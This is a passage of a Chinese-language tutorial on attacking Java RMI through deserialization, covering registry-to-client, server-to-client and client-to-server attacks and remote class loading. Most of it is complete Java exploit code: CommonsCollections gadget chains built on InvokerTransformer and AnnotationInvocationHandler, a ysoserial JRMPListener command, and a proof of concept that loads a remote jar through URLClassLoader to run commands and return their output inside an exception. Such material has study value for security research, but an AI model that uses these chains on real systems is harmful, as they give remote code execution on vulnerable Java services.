2.攻击客户端 在unmarshalValue() 那个地方存在入口类。
注册中心攻击客户端 简单来说就是客户端请求恶意注册中心获取某个服务的时候,然后恶意注册中心无论客户端查询什么服务名,它都返回一个恶意的序列化对象,然后客户端反序列化这些对象就用到了unmarshalValue(),就产生了漏洞
这里使用ysoserial的JRMPListener,因为 EXP 实在太长了。命令如下:
1 java -cp ysoserial-0 .0.8 -SNAPSHOT-all .jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 calc
然后客户端去访问:
1 2 3 4 5 6 7 8 9 10 11 12 package org.example; import java.net.MalformedURLException; import java.rmi.Naming; import java.rmi.RemoteException; public class registrylist { public static void main(String[] args) throws MalformedURLException, RemoteException { String[] s = Naming.list("rmi://127.0.0.1:1099"); System.out.println(s); } }
服务端攻击客户端 客户端调用一个远程方法后,服务端执行完毕,会将结果(返回值)序列化并通过网络传回客户端。客户端需要将这些数据反序列化,还原成Java对象以供后续使用。这个关键的还原步骤就是在 unmarshalValue中完成的,造成了漏洞
服务端代码:
接口:
1 2 3 public interface User extends java.rmi.Remote { public Object getUser() throws Exception; }
实现接口:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import java.io.Serializable; import java.lang.annotation.Retention; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Proxy; import java.rmi.RemoteException; import java.rmi.server.UnicastRemoteObject; import java.util.HashMap; import java.util.Map; public class ServerReturnObject extends UnicastRemoteObject implements User { public String name; public int age; public ServerReturnObject(String name, int age) throws RemoteException { super(); this.name = name; this.age = age; } public Object getUser() throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc.exe"}), }; Transformer transformerChain = new ChainedTransformer(transformers); Map innerMap = new HashMap(); Map outerMap = LazyMap.decorate(innerMap, transformerChain); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class); construct.setAccessible(true); InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap); Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler); handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap); return (Object) handler; } }
绑定到注册中心
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import java.rmi.AlreadyBoundException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class EvilClassServer { public static void main(String[] args) throws RemoteException, AlreadyBoundException { User liming = new ServerReturnObject("liming",15); Registry registry = LocateRegistry.createRegistry(1099); registry.bind("user",liming); System.out.println("registry is running..."); System.out.println("liming is bind in registry"); } }
客户端远程调用恶意方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import java.rmi.Naming; import java.rmi.NotBoundException; import java.rmi.Remote; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; // 服务端打客户端,返回 Object 对象 public class EvilClient { public static void main(String[] args) throws Exception { Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099); User user = (User)registry.lookup("user"); user.getUser(); } }
客户端攻击服务端 1 攻击者(客户端) → 正常lookup获取服务 → 调用服务方法传入恶意参数 → 业务服务端触发反序列化
服务端代码:
方法接受类型改成Object类型就行:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 package org.example; import java.rmi.RemoteException; import java.rmi.server.UnicastRemoteObject; public class RemoteObjImpl extends UnicastRemoteObject implements RemoteObj { public RemoteObjImpl() throws RemoteException { } @Override public String sayHello(Object keywords) throws RemoteException { return null; } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 package org.example; import java.rmi.AlreadyBoundException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class RMIServer { public static void main(String[] args) throws RemoteException, AlreadyBoundException { // 实例化远程对象 RemoteObjImpl remoteObj = new RemoteObjImpl(); // 创建注册中心滚 Registry registry = LocateRegistry.createRegistry(1099); // 绑定对象到注册中心 registry.bind("remoteObj",remoteObj); } }
客户端代码:
接口:
1 2 3 4 5 6 7 8 9 package org.example; import java.rmi.Remote; import java.rmi.RemoteException; public interface RemoteObj extends Remote { public String sayHello(Object keywords) throws RemoteException; }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 package org.example; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import java.util.HashMap; import java.util.Map; public class RmiClient { public static void main(String[] args) throws Exception { Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099); RemoteObj remoteObj = (RemoteObj) registry.lookup("remoteObj"); remoteObj.sayHello(getpayload()); } public static Object getpayload() throws Exception{ Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; Transformer transformerChain = new ChainedTransformer(transformers); Map map = new HashMap(); map.put("value", "lala"); Map transformedMap = TransformedMap.decorate(map, null, transformerChain); Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class); ctor.setAccessible(true); Object instance = ctor.newInstance(Target.class, transformedMap); return instance; } }
4.类的远程加载 利用 URLClassLoader实现回显攻击 攻击注册中心时利用反序列化漏洞,诱使服务端主动从远程加载一个恶意类;这个类在实例化时执行命令并将结果通过异常抛出;攻击者再利用通信协议的特性(如RMI的异常返回机制)捕获这个异常,从而获取命令执行结果。这里我们利用URLClassLoader加载远程jar,传入服务端,反序列化后调用其方法,在方法内抛出错误,错误会传回客户端
远程demo:
JAVA
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import java.io.BufferedReader; import java.io.InputStreamReader; public class ErrorBaseExec { public static void do_exec(String args) throws Exception { Process proc = Runtime.getRuntime().exec(args); BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream())); StringBuffer sb = new StringBuffer(); String line; while ((line = br.readLine()) != null) { sb.append(line).append("\n"); } String result = sb.toString(); Exception e=new Exception(result); throw e; } }
通过如下命令制作成jar包:
BASH
1 2 javac ErrorBaseExec.java jar -cvf RMIexploit.jar ErrorBaseExec.class
客户端POC:
JAVA
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.net.URLClassLoader; import java.rmi.Remote; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import java.util.HashMap; import java.util.Map; public class Client { public static Constructor<?> getFirstCtor(final String name) throws Exception { final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0]; ctor.setAccessible(true); return ctor; } public static void main(String[] args) throws Exception { String ip = "127.0.0.1"; //注册中心ip int port = 1099; //注册中心端口 String remotejar = 远程jar; String command = "whoami"; final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler"; try { final Transformer[] transformers = new Transformer[] { new ConstantTransformer(java.net.URLClassLoader.class), new InvokerTransformer("getConstructor", new Class[] { Class[].class }, new Object[] { new Class[] { java.net.URL[].class } }), new InvokerTransformer("newInstance", new Class[] { Object[].class }, new Object[] { new Object[] { new java.net.URL[] { new java.net.URL(remotejar) } } }), new InvokerTransformer("loadClass", new Class[] { String.class }, new Object[] { "ErrorBaseExec" }), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "do_exec", new Class[] { String.class } }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new String[] { command } }) }; Transformer transformedChain = new ChainedTransformer(transformers); Map innerMap = new HashMap(); innerMap.put("value", "value"); Map outerMap = TransformedMap.decorate(innerMap, null, transformedChain); Class cl = Class.forName( "sun.reflect.annotation.AnnotationInvocationHandler"); Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class); ctor.setAccessible(true); Object instance = ctor.newInstance(Target.class, outerMap); Registry registry = LocateRegistry.getRegistry(ip, port); InvocationHandler h = (InvocationHandler) getFirstCtor(ANN_INV_HANDLER_CLASS) .newInstance(Target.class, outerMap); Remote r = Remote.class.cast(Proxy.newProxyInstance( Remote.class.getClassLoader(), new Class[] { Remote.class }, h)); registry.bind("liming", r); } catch (Exception e) { try { System.out.print(e.getCause().getCause().getCause().getMessage()); } catch (Exception ee) { throw e; } } } }